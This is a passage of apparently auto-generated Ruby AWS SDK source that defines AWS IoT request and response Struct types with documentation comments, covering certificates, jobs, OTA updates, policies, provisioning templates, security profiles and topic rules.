authorizer_arn # The authorizer ARN. # @return [String] # class CreateAuthorizerResponse < Struct.new( :authorizer_name, :authorizer_arn) include Aws::Structure end # @note When making an API call, you may pass CreateBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # required # billing_group_properties: { # billing_group_description: "BillingGroupDescription", # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] billing_group_name # The name you wish to give to the billing group. # @return [String] # # @!attribute [rw] billing_group_properties # The properties of the billing group. # @return [Types::BillingGroupProperties] # # @!attribute [rw] tags # Metadata which can be used to manage the billing group. # @return [Array<Types::Tag>] # class CreateBillingGroupRequest < Struct.new( :billing_group_name, :billing_group_properties, :tags) include Aws::Structure end # @!attribute [rw] billing_group_name # The name you gave to the billing group. # @return [String] # # @!attribute [rw] billing_group_arn # The ARN of the billing group. # @return [String] # # @!attribute [rw] billing_group_id # The ID of the billing group. # @return [String] # class CreateBillingGroupResponse < Struct.new( :billing_group_name, :billing_group_arn, :billing_group_id) include Aws::Structure end # The input for the CreateCertificateFromCsr operation. # # @note When making an API call, you may pass CreateCertificateFromCsrRequest # data as a hash: # # { # certificate_signing_request: "CertificateSigningRequest", # required # set_as_active: false, # } # # @!attribute [rw] certificate_signing_request # The certificate signing request (CSR). # @return [String] # # @!attribute [rw] set_as_active # Specifies whether the certificate is active. # @return [Boolean] # class CreateCertificateFromCsrRequest < Struct.new( :certificate_signing_request, :set_as_active) include Aws::Structure end # The output from the CreateCertificateFromCsr operation. # # @!attribute [rw] certificate_arn # The Amazon Resource Name (ARN) of the certificate. You can use the # ARN as a principal for policy operations. # @return [String] # # @!attribute [rw] certificate_id # The ID of the certificate. Certificate management operations only # take a certificateId. # @return [String] # # @!attribute [rw] certificate_pem # The certificate data, in PEM format. # @return [String] # class CreateCertificateFromCsrResponse < Struct.new( :certificate_arn, :certificate_id, :certificate_pem) include Aws::Structure end # @note When making an API call, you may pass CreateDomainConfigurationRequest # data as a hash: # # { # domain_configuration_name: "DomainConfigurationName", # required # domain_name: "DomainName", # server_certificate_arns: ["AcmCertificateArn"], # validation_certificate_arn: "AcmCertificateArn", # authorizer_config: { # default_authorizer_name: "AuthorizerName", # allow_authorizer_override: false, # }, # service_type: "DATA", # accepts DATA, CREDENTIAL_PROVIDER, JOBS # } # # @!attribute [rw] domain_configuration_name # The name of the domain configuration. This value must be unique to a # region. # @return [String] # # @!attribute [rw] domain_name # The name of the domain. # @return [String] # # @!attribute [rw] server_certificate_arns # The ARNs of the certificates that AWS IoT passes to the device # during the TLS handshake. Currently you can specify only one # certificate ARN. This value is not required for AWS-managed domains. # @return [Array<String>] # # @!attribute [rw] validation_certificate_arn # The certificate used to validate the server certificate and prove # domain name ownership. This certificate must be signed by a public # certificate authority. This value is not required for AWS-managed # domains. # @return [String] # # @!attribute [rw] authorizer_config # An object that specifies the authorization service for a domain. # @return [Types::AuthorizerConfig] # # @!attribute [rw] service_type # The type of service delivered by the endpoint. # @return [String] # class CreateDomainConfigurationRequest < Struct.new( :domain_configuration_name, :domain_name, :server_certificate_arns, :validation_certificate_arn, :authorizer_config, :service_type) include Aws::Structure end # @!attribute [rw] domain_configuration_name # The name of the domain configuration. # @return [String] # # @!attribute [rw] domain_configuration_arn # The ARN of the domain configuration. # @return [String] # class CreateDomainConfigurationResponse < Struct.new( :domain_configuration_name, :domain_configuration_arn) include Aws::Structure end # @note When making an API call, you may pass CreateDynamicThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # thing_group_properties: { # thing_group_description: "ThingGroupDescription", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # }, # index_name: "IndexName", # query_string: "QueryString", # required # query_version: "QueryVersion", # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] thing_group_name # The dynamic thing group name to create. # @return [String] # # @!attribute [rw] thing_group_properties # The dynamic thing group properties. # @return [Types::ThingGroupProperties] # # @!attribute [rw] index_name # The dynamic thing group index name. # # <note markdown="1"> Currently one index is supported: "AWS\_Things". # # </note> # @return [String] # # @!attribute [rw] query_string # The dynamic thing group search query string. # # See [Query Syntax][1] for information about query string syntax. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/query-syntax.html # @return [String] # # @!attribute [rw] query_version # The dynamic thing group query version. # # <note markdown="1"> Currently one query version is supported: "2017-09-30". If not # specified, the query version defaults to this value. # # </note> # @return [String] # # @!attribute [rw] tags # Metadata which can be used to manage the dynamic thing group. # @return [Array<Types::Tag>] # class CreateDynamicThingGroupRequest < Struct.new( :thing_group_name, :thing_group_properties, :index_name, :query_string, :query_version, :tags) include Aws::Structure end # @!attribute [rw] thing_group_name # The dynamic thing group name. # @return [String] # # @!attribute [rw] thing_group_arn # The dynamic thing group ARN. # @return [String] # # @!attribute [rw] thing_group_id # The dynamic thing group ID. # @return [String] # # @!attribute [rw] index_name # The dynamic thing group index name. # @return [String] # # @!attribute [rw] query_string # The dynamic thing group search query string. # @return [String] # # @!attribute [rw] query_version # The dynamic thing group query version. # @return [String] # class CreateDynamicThingGroupResponse < Struct.new( :thing_group_name, :thing_group_arn, :thing_group_id, :index_name, :query_string, :query_version) include Aws::Structure end # @note When making an API call, you may pass CreateJobRequest # data as a hash: # # { # job_id: "JobId", # required # targets: ["TargetArn"], # required # document_source: "JobDocumentSource", # document: "JobDocument", # description: "JobDescription", # presigned_url_config: { # role_arn: "RoleArn", # expires_in_sec: 1, # }, # target_selection: "CONTINUOUS", # accepts CONTINUOUS, SNAPSHOT # job_executions_rollout_config: { # maximum_per_minute: 1, # exponential_rate: { # base_rate_per_minute: 1, # required # increment_factor: 1.0, # required # rate_increase_criteria: { # required # number_of_notified_things: 1, # number_of_succeeded_things: 1, # }, # }, # }, # abort_config: { # criteria_list: [ # required # { # failure_type: "FAILED", # required, accepts FAILED, REJECTED, TIMED_OUT, ALL # action: "CANCEL", # required, accepts CANCEL # threshold_percentage: 1.0, # required # min_number_of_executed_things: 1, # required # }, # ], # }, # timeout_config: { # in_progress_timeout_in_minutes: 1, # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] job_id # A job identifier which must be unique for your AWS account. We # recommend using a UUID. Alpha-numeric characters, "-" and "\_" # are valid for use here. # @return [String] # # @!attribute [rw] targets # A list of things and thing groups to which the job should be sent. # @return [Array<String>] # # @!attribute [rw] document_source # An S3 link to the job document. # @return [String] # # @!attribute [rw] document # The job document. # # <note markdown="1"> If the job document resides in an S3 bucket, you must use a # placeholder link when specifying the document. # # The placeholder link is of the following form: # # `$\{aws:iot:s3-presigned-url:https://s3.amazonaws.com/bucket/key\}` # # where *bucket* is your bucket name and *key* is the object in the # bucket to which you are linking. # # </note> # @return [String] # # @!attribute [rw] description # A short text description of the job. # @return [String] # # @!attribute [rw] presigned_url_config # Configuration information for pre-signed S3 URLs. # @return [Types::PresignedUrlConfig] # # @!attribute [rw] target_selection # Specifies whether the job will continue to run (CONTINUOUS), or will # be complete after all those things specified as targets have # completed the job (SNAPSHOT). If continuous, the job may also be run # on a thing when a change is detected in a target. For example, a job # will run on a thing when the thing is added to a target group, even # after the job was completed by all things originally in the group. # @return [String] # # @!attribute [rw] job_executions_rollout_config # Allows you to create a staged rollout of the job. # @return [Types::JobExecutionsRolloutConfig] # # @!attribute [rw] abort_config # Allows you to create criteria to abort a job. # @return [Types::AbortConfig] # # @!attribute [rw] timeout_config # Specifies the amount of time each device has to finish its execution # of the job. The timer is started when the job execution status is # set to `IN_PROGRESS`. If the job execution status is not set to # another terminal state before the time expires, it will be # automatically set to `TIMED_OUT`. # @return [Types::TimeoutConfig] # # @!attribute [rw] tags # Metadata which can be used to manage the job. # @return [Array<Types::Tag>] # class CreateJobRequest < Struct.new( :job_id, :targets, :document_source, :document, :description, :presigned_url_config, :target_selection, :job_executions_rollout_config, :abort_config, :timeout_config, :tags) include Aws::Structure end # @!attribute [rw] job_arn # The job ARN. # @return [String] # # @!attribute [rw] job_id # The unique identifier you assigned to this job. # @return [String] # # @!attribute [rw] description # The job description. # @return [String] # class CreateJobResponse < Struct.new( :job_arn, :job_id, :description) include Aws::Structure end # The input for the CreateKeysAndCertificate operation. # # @note When making an API call, you may pass CreateKeysAndCertificateRequest # data as a hash: # # { # set_as_active: false, # } # # @!attribute [rw] set_as_active # Specifies whether the certificate is active. # @return [Boolean] # class CreateKeysAndCertificateRequest < Struct.new( :set_as_active) include Aws::Structure end # The output of the CreateKeysAndCertificate operation. # # @!attribute [rw] certificate_arn # The ARN of the certificate. # @return [String] # # @!attribute [rw] certificate_id # The ID of the certificate. AWS IoT issues a default subject name for # the certificate (for example, AWS IoT Certificate). # @return [String] # # @!attribute [rw] certificate_pem # The certificate data, in PEM format. # @return [String] # # @!attribute [rw] key_pair # The generated key pair. # @return [Types::KeyPair] # class CreateKeysAndCertificateResponse < Struct.new( :certificate_arn, :certificate_id, :certificate_pem, :key_pair) include Aws::Structure end # @note When making an API call, you may pass CreateMitigationActionRequest # data as a hash: # # { # action_name: "MitigationActionName", # required # role_arn: "RoleArn", # required # action_params: { # required # update_device_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # update_ca_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # add_things_to_thing_group_params: { # thing_group_names: ["ThingGroupName"], # required # override_dynamic_groups: false, # }, # replace_default_policy_version_params: { # template_name: "BLANK_POLICY", # required, accepts BLANK_POLICY # }, # enable_io_t_logging_params: { # role_arn_for_logging: "RoleArn", # required # log_level: "DEBUG", # required, accepts DEBUG, INFO, ERROR, WARN, DISABLED # }, # publish_finding_to_sns_params: { # topic_arn: "SnsTopicArn", # required # }, # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] action_name # A friendly name for the action. Choose a friendly name that # accurately describes the action (for example, # `EnableLoggingAction`). # @return [String] # # @!attribute [rw] role_arn # The ARN of the IAM role that is used to apply the mitigation action. # @return [String] # # @!attribute [rw] action_params # Defines the type of action and the parameters for that action. # @return [Types::MitigationActionParams] # # @!attribute [rw] tags # Metadata that can be used to manage the mitigation action. # @return [Array<Types::Tag>] # class CreateMitigationActionRequest < Struct.new( :action_name, :role_arn, :action_params, :tags) include Aws::Structure end # @!attribute [rw] action_arn # The ARN for the new mitigation action. # @return [String] # # @!attribute [rw] action_id # A unique identifier for the new mitigation action. # @return [String] # class CreateMitigationActionResponse < Struct.new( :action_arn, :action_id) include Aws::Structure end # @note When making an API call, you may pass CreateOTAUpdateRequest # data as a hash: # # { # ota_update_id: "OTAUpdateId", # required # description: "OTAUpdateDescription", # targets: ["Target"], # required # protocols: ["MQTT"], # accepts MQTT, HTTP # target_selection: "CONTINUOUS", # accepts CONTINUOUS, SNAPSHOT # aws_job_executions_rollout_config: { # maximum_per_minute: 1, # }, # aws_job_presigned_url_config: { # expires_in_sec: 1, # }, # files: [ # required # { # file_name: "FileName", # file_version: "OTAUpdateFileVersion", # file_location: { # stream: { # stream_id: "StreamId", # file_id: 1, # }, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # }, # code_signing: { # aws_signer_job_id: "SigningJobId", # start_signing_job_parameter: { # signing_profile_parameter: { # certificate_arn: "CertificateArn", # platform: "Platform", # certificate_path_on_device: "CertificatePathOnDevice", # }, # signing_profile_name: "SigningProfileName", # destination: { # s3_destination: { # bucket: "S3Bucket", # prefix: "Prefix", # }, # }, # }, # custom_code_signing: { # signature: { # inline_document: "data", # }, # certificate_chain: { # certificate_name: "CertificateName", # inline_document: "InlineDocument", # }, # hash_algorithm: "HashAlgorithm", # signature_algorithm: "SignatureAlgorithm", # }, # }, # attributes: { # "AttributeKey" => "Value", # }, # }, # ], # role_arn: "RoleArn", # required # additional_parameters: { # "AttributeKey" => "Value", # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] ota_update_id # The ID of the OTA update to be created. # @return [String] # # @!attribute [rw] description # The description of the OTA update. # @return [String] # # @!attribute [rw] targets # The targeted devices to receive OTA updates. # @return [Array<String>] # # @!attribute [rw] protocols # The protocol used to transfer the OTA update image. Valid values are # \[HTTP\], \[MQTT\], \[HTTP, MQTT\]. When both HTTP and MQTT are # specified, the target device can choose the protocol. # @return [Array<String>] # # @!attribute [rw] target_selection # Specifies whether the update will continue to run (CONTINUOUS), or # will be complete after all the things specified as targets have # completed the update (SNAPSHOT). If continuous, the update may also # be run on a thing when a change is detected in a target. For # example, an update will run on a thing when the thing is added to a # target group, even after the update was completed by all things # originally in the group. Valid values: CONTINUOUS \| SNAPSHOT. # @return [String] # # @!attribute [rw] aws_job_executions_rollout_config # Configuration for the rollout of OTA updates. # @return [Types::AwsJobExecutionsRolloutConfig] # # @!attribute [rw] aws_job_presigned_url_config # Configuration information for pre-signed URLs. # @return [Types::AwsJobPresignedUrlConfig] # # @!attribute [rw] files # The files to be streamed by the OTA update. # @return [Array<Types::OTAUpdateFile>] # # @!attribute [rw] role_arn # The IAM role that allows access to the AWS IoT Jobs service. # @return [String] # # @!attribute [rw] additional_parameters # A list of additional OTA update parameters which are name-value # pairs. # @return [Hash<String,String>] # # @!attribute [rw] tags # Metadata which can be used to manage updates. # @return [Array<Types::Tag>] # class CreateOTAUpdateRequest < Struct.new( :ota_update_id, :description, :targets, :protocols, :target_selection, :aws_job_executions_rollout_config, :aws_job_presigned_url_config, :files, :role_arn, :additional_parameters, :tags) include Aws::Structure end # @!attribute [rw] ota_update_id # The OTA update ID. # @return [String] # # @!attribute [rw] aws_iot_job_id # The AWS IoT job ID associated with the OTA update. # @return [String] # # @!attribute [rw] ota_update_arn # The OTA update ARN. # @return [String] # # @!attribute [rw] aws_iot_job_arn # The AWS IoT job ARN associated with the OTA update. # @return [String] # # @!attribute [rw] ota_update_status # The OTA update status. # @return [String] # class CreateOTAUpdateResponse < Struct.new( :ota_update_id, :aws_iot_job_id, :ota_update_arn, :aws_iot_job_arn, :ota_update_status) include Aws::Structure end # The input for the CreatePolicy operation. # # @note When making an API call, you may pass CreatePolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # policy_document: "PolicyDocument", # required # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. **policyDocument** must # have a minimum length of 1, with a maximum length of 2048, excluding # whitespace. # @return [String] # class CreatePolicyRequest < Struct.new( :policy_name, :policy_document) include Aws::Structure end # The output from the CreatePolicy operation. # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # class CreatePolicyResponse < Struct.new( :policy_name, :policy_arn, :policy_document, :policy_version_id) include Aws::Structure end # The input for the CreatePolicyVersion operation. # # @note When making an API call, you may pass CreatePolicyVersionRequest # data as a hash: # # { # policy_name: "PolicyName", # required # policy_document: "PolicyDocument", # required # set_as_default: false, # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. Minimum length of 1. # Maximum length of 2048, excluding whitespace. # @return [String] # # @!attribute [rw] set_as_default # Specifies whether the policy version is set as the default. When # this parameter is true, the new policy version becomes the operative # version (that is, the version that is in effect for the certificates # to which the policy is attached). # @return [Boolean] # class CreatePolicyVersionRequest < Struct.new( :policy_name, :policy_document, :set_as_default) include Aws::Structure end # The output of the CreatePolicyVersion operation. # # @!attribute [rw] policy_arn # The policy ARN. # @return [String] # # @!attribute [rw] policy_document # The JSON document that describes the policy. # @return [String] # # @!attribute [rw] policy_version_id # The policy version ID. # @return [String] # # @!attribute [rw] is_default_version # Specifies whether the policy version is the default. # @return [Boolean] # class CreatePolicyVersionResponse < Struct.new( :policy_arn, :policy_document, :policy_version_id, :is_default_version) include Aws::Structure end # @note When making an API call, you may pass CreateProvisioningClaimRequest # data as a hash: # # { # template_name: "TemplateName", # required # } # # @!attribute [rw] template_name # The name of the provisioning template to use. # @return [String] # class CreateProvisioningClaimRequest < Struct.new( :template_name) include Aws::Structure end # @!attribute [rw] certificate_id # The ID of the certificate. # @return [String] # # @!attribute [rw] certificate_pem # The provisioning claim certificate. # @return [String] # # @!attribute [rw] key_pair # The provisioning claim key pair. # @return [Types::KeyPair] # # @!attribute [rw] expiration # The provisioning claim expiration time. # @return [Time] # class CreateProvisioningClaimResponse < Struct.new( :certificate_id, :certificate_pem, :key_pair, :expiration) include Aws::Structure end # @note When making an API call, you may pass CreateProvisioningTemplateRequest # data as a hash: # # { # template_name: "TemplateName", # required # description: "TemplateDescription", # template_body: "TemplateBody", # required # enabled: false, # provisioning_role_arn: "RoleArn", # required # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] description # The description of the fleet provisioning template. # @return [String] # # @!attribute [rw] template_body # The JSON formatted contents of the fleet provisioning template. # @return [String] # # @!attribute [rw] enabled # True to enable the fleet provisioning template, otherwise false. # @return [Boolean] # # @!attribute [rw] provisioning_role_arn # The role ARN for the role associated with the fleet provisioning # template. This IoT role grants permission to provision a device. # @return [String] # # @!attribute [rw] tags # Metadata which can be used to manage the fleet provisioning # template. # # <note markdown="1"> For URI Request parameters use format: # ...key1=value1&amp;key2=value2... # # For the CLI command-line parameter use format: &amp;&amp;tags # "key1=value1&amp;key2=value2..." # # For the cli-input-json file use format: "tags": # "key1=value1&amp;key2=value2..." # # </note> # @return [Array<Types::Tag>] # class CreateProvisioningTemplateRequest < Struct.new( :template_name, :description, :template_body, :enabled, :provisioning_role_arn, :tags) include Aws::Structure end # @!attribute [rw] template_arn # The ARN that identifies the provisioning template. # @return [String] # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] default_version_id # The default version of the fleet provisioning template. # @return [Integer] # class CreateProvisioningTemplateResponse < Struct.new( :template_arn, :template_name, :default_version_id) include Aws::Structure end # @note When making an API call, you may pass CreateProvisioningTemplateVersionRequest # data as a hash: # # { # template_name: "TemplateName", # required # template_body: "TemplateBody", # required # set_as_default: false, # } # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] template_body # The JSON formatted contents of the fleet provisioning template. # @return [String] # # @!attribute [rw] set_as_default # Sets a fleet provision template version as the default version. # @return [Boolean] # class CreateProvisioningTemplateVersionRequest < Struct.new( :template_name, :template_body, :set_as_default) include Aws::Structure end # @!attribute [rw] template_arn # The ARN that identifies the provisioning template. # @return [String] # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] version_id # The version of the fleet provisioning template. # @return [Integer] # # @!attribute [rw] is_default_version # True if the fleet provisioning template version is the default # version, otherwise false. # @return [Boolean] # class CreateProvisioningTemplateVersionResponse < Struct.new( :template_arn, :template_name, :version_id, :is_default_version) include Aws::Structure end # @note When making an API call, you may pass CreateRoleAliasRequest # data as a hash: # # { # role_alias: "RoleAlias", # required # role_arn: "RoleArn", # required # credential_duration_seconds: 1, # } # # @!attribute [rw] role_alias # The role alias that points to a role ARN. This allows you to change # the role without having to update the device. # @return [String] # # @!attribute [rw] role_arn # The role ARN. # @return [String] # # @!attribute [rw] credential_duration_seconds # How long (in seconds) the credentials will be valid. # @return [Integer] # class CreateRoleAliasRequest < Struct.new( :role_alias, :role_arn, :credential_duration_seconds) include Aws::Structure end # @!attribute [rw] role_alias # The role alias. # @return [String] # # @!attribute [rw] role_alias_arn # The role alias ARN. # @return [String] # class CreateRoleAliasResponse < Struct.new( :role_alias, :role_alias_arn) include Aws::Structure end # @note When making an API call, you may pass CreateScheduledAuditRequest # data as a hash: # # { # frequency: "DAILY", # required, accepts DAILY, WEEKLY, BIWEEKLY, MONTHLY # day_of_month: "DayOfMonth", # day_of_week: "SUN", # accepts SUN, MON, TUE, WED, THU, FRI, SAT # target_check_names: ["AuditCheckName"], # required # scheduled_audit_name: "ScheduledAuditName", # required # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] frequency # How often the scheduled audit takes place. Can be one of "DAILY", # "WEEKLY", "BIWEEKLY" or "MONTHLY". The start time of each # audit is determined by the system. # @return [String] # # @!attribute [rw] day_of_month # The day of the month on which the scheduled audit takes place. Can # be "1" through "31" or "LAST". This field is required if the # "frequency" parameter is set to "MONTHLY". If days 29-31 are # specified, and the month does not have that many days, the audit # takes place on the "LAST" day of the month. # @return [String] # # @!attribute [rw] day_of_week # The day of the week on which the scheduled audit takes place. Can be # one of "SUN", "MON", "TUE", "WED", "THU", "FRI", or # "SAT". This field is required if the "frequency" parameter is # set to "WEEKLY" or "BIWEEKLY". # @return [String] # # @!attribute [rw] target_check_names # Which checks are performed during the scheduled audit. Checks must # be enabled for your account. (Use # `DescribeAccountAuditConfiguration` to see the list of all checks, # including those that are enabled or use # `UpdateAccountAuditConfiguration` to select which checks are # enabled.) # @return [Array<String>] # # @!attribute [rw] scheduled_audit_name # The name you want to give to the scheduled audit. (Max. 128 chars) # @return [String] # # @!attribute [rw] tags # Metadata that can be used to manage the scheduled audit. # @return [Array<Types::Tag>] # class CreateScheduledAuditRequest < Struct.new( :frequency, :day_of_month, :day_of_week, :target_check_names, :scheduled_audit_name, :tags) include Aws::Structure end # @!attribute [rw] scheduled_audit_arn # The ARN of the scheduled audit. # @return [String] # class CreateScheduledAuditResponse < Struct.new( :scheduled_audit_arn) include Aws::Structure end # @note When making an API call, you may pass CreateSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # security_profile_description: "SecurityProfileDescription", # behaviors: [ # { # name: "BehaviorName", # required # metric: "BehaviorMetric", # criteria: { # comparison_operator: "less-than", # accepts less-than, less-than-equals, greater-than, greater-than-equals, in-cidr-set, not-in-cidr-set, in-port-set, not-in-port-set # value: { # count: 1, # cidrs: ["Cidr"], # ports: [1], # }, # duration_seconds: 1, # consecutive_datapoints_to_alarm: 1, # consecutive_datapoints_to_clear: 1, # statistical_threshold: { # statistic: "EvaluationStatistic", # }, # }, # }, # ], # alert_targets: { # "SNS" => { # alert_target_arn: "AlertTargetArn", # required # role_arn: "RoleArn", # required # }, # }, # additional_metrics_to_retain: ["BehaviorMetric"], # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] security_profile_name # The name you are giving to the security profile. # @return [String] # # @!attribute [rw] security_profile_description # A description of the security profile. # @return [String] # # @!attribute [rw] behaviors # Specifies the behaviors that, when violated by a device (thing), # cause an alert. # @return [Array<Types::Behavior>] # # @!attribute [rw] alert_targets # Specifies the destinations to which alerts are sent. (Alerts are # always sent to the console.) Alerts are generated when a device # (thing) violates a behavior. # @return [Hash<String,Types::AlertTarget>] # # @!attribute [rw] additional_metrics_to_retain # A list of metrics whose data is retained (stored). By default, data # is retained for any metric used in the profile's `behaviors`, but # it is also retained for any metric specified here. # @return [Array<String>] # # @!attribute [rw] tags # Metadata that can be used to manage the security profile. # @return [Array<Types::Tag>] # class CreateSecurityProfileRequest < Struct.new( :security_profile_name, :security_profile_description, :behaviors, :alert_targets, :additional_metrics_to_retain, :tags) include Aws::Structure end # @!attribute [rw] security_profile_name # The name you gave to the security profile. # @return [String] # # @!attribute [rw] security_profile_arn # The ARN of the security profile. # @return [String] # class CreateSecurityProfileResponse < Struct.new( :security_profile_name, :security_profile_arn) include Aws::Structure end # @note When making an API call, you may pass CreateStreamRequest # data as a hash: # # { # stream_id: "StreamId", # required # description: "StreamDescription", # files: [ # required # { # file_id: 1, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # }, # ], # role_arn: "RoleArn", # required # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] description # A description of the stream. # @return [String] # # @!attribute [rw] files # The files to stream. # @return [Array<Types::StreamFile>] # # @!attribute [rw] role_arn # An IAM role that allows the IoT service principal assumes to access # your S3 files. # @return [String] # # @!attribute [rw] tags # Metadata which can be used to manage streams. # @return [Array<Types::Tag>] # class CreateStreamRequest < Struct.new( :stream_id, :description, :files, :role_arn, :tags) include Aws::Structure end # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] stream_arn # The stream ARN. # @return [String] # # @!attribute [rw] description # A description of the stream. # @return [String] # # @!attribute [rw] stream_version # The version of the stream. # @return [Integer] # class CreateStreamResponse < Struct.new( :stream_id, :stream_arn, :description, :stream_version) include Aws::Structure end # @note When making an API call, you may pass CreateThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # parent_group_name: "ThingGroupName", # thing_group_properties: { # thing_group_description: "ThingGroupDescription", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] thing_group_name # The thing group name to create. # @return [String] # # @!attribute [rw] parent_group_name # The name of the parent thing group. # @return [String] # # @!attribute [rw] thing_group_properties # The thing group properties. # @return [Types::ThingGroupProperties] # # @!attribute [rw] tags # Metadata which can be used to manage the thing group. # @return [Array<Types::Tag>] # class CreateThingGroupRequest < Struct.new( :thing_group_name, :parent_group_name, :thing_group_properties, :tags) include Aws::Structure end # @!attribute [rw] thing_group_name # The thing group name. # @return [String] # # @!attribute [rw] thing_group_arn # The thing group ARN. # @return [String] # # @!attribute [rw] thing_group_id # The thing group ID. # @return [String] # class CreateThingGroupResponse < Struct.new( :thing_group_name, :thing_group_arn, :thing_group_id) include Aws::Structure end # The input for the CreateThing operation. # # @note When making an API call, you may pass CreateThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # thing_type_name: "ThingTypeName", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # billing_group_name: "BillingGroupName", # } # # @!attribute [rw] thing_name # The name of the thing to create. # @return [String] # # @!attribute [rw] thing_type_name # The name of the thing type associated with the new thing. # @return [String] # # @!attribute [rw] attribute_payload # The attribute payload, which consists of up to three name/value # pairs in a JSON document. For example: # # `\{"attributes":\{"string1":"string2"\}\}` # @return [Types::AttributePayload] # # @!attribute [rw] billing_group_name # The name of the billing group the thing will be added to. # @return [String] # class CreateThingRequest < Struct.new( :thing_name, :thing_type_name, :attribute_payload, :billing_group_name) include Aws::Structure end # The output of the CreateThing operation. # # @!attribute [rw] thing_name # The name of the new thing. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the new thing. # @return [String] # # @!attribute [rw] thing_id # The thing ID. # @return [String] # class CreateThingResponse < Struct.new( :thing_name, :thing_arn, :thing_id) include Aws::Structure end # The input for the CreateThingType operation. # # @note When making an API call, you may pass CreateThingTypeRequest # data as a hash: # # { # thing_type_name: "ThingTypeName", # required # thing_type_properties: { # thing_type_description: "ThingTypeDescription", # searchable_attributes: ["AttributeName"], # }, # tags: [ # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # # @!attribute [rw] thing_type_properties # The ThingTypeProperties for the thing type to create. It contains # information about the new thing type including a description, and a # list of searchable thing attribute names. # @return [Types::ThingTypeProperties] # # @!attribute [rw] tags # Metadata which can be used to manage the thing type. # @return [Array<Types::Tag>] # class CreateThingTypeRequest < Struct.new( :thing_type_name, :thing_type_properties, :tags) include Aws::Structure end # The output of the CreateThingType operation. # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # # @!attribute [rw] thing_type_arn # The Amazon Resource Name (ARN) of the thing type. # @return [String] # # @!attribute [rw] thing_type_id # The thing type ID. # @return [String] # class CreateThingTypeResponse < Struct.new( :thing_type_name, :thing_type_arn, :thing_type_id) include Aws::Structure end # @note When making an API call, you may pass CreateTopicRuleDestinationRequest # data as a hash: # # { # destination_configuration: { # required # http_url_configuration: { # confirmation_url: "Url", # required # }, # }, # } # # @!attribute [rw] destination_configuration # The topic rule destination configuration. # @return [Types::TopicRuleDestinationConfiguration] # class CreateTopicRuleDestinationRequest < Struct.new( :destination_configuration) include Aws::Structure end # @!attribute [rw] topic_rule_destination # The topic rule destination. # @return [Types::TopicRuleDestination] # class CreateTopicRuleDestinationResponse < Struct.new( :topic_rule_destination) include Aws::Structure end # The input for the CreateTopicRule operation. # # @note When making an API call, you may pass CreateTopicRuleRequest # data as a hash: # # { # rule_name: "RuleName", # required # topic_rule_payload: { # required # sql: "SQL", # required # description: "Description", # actions: [ # required # { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, 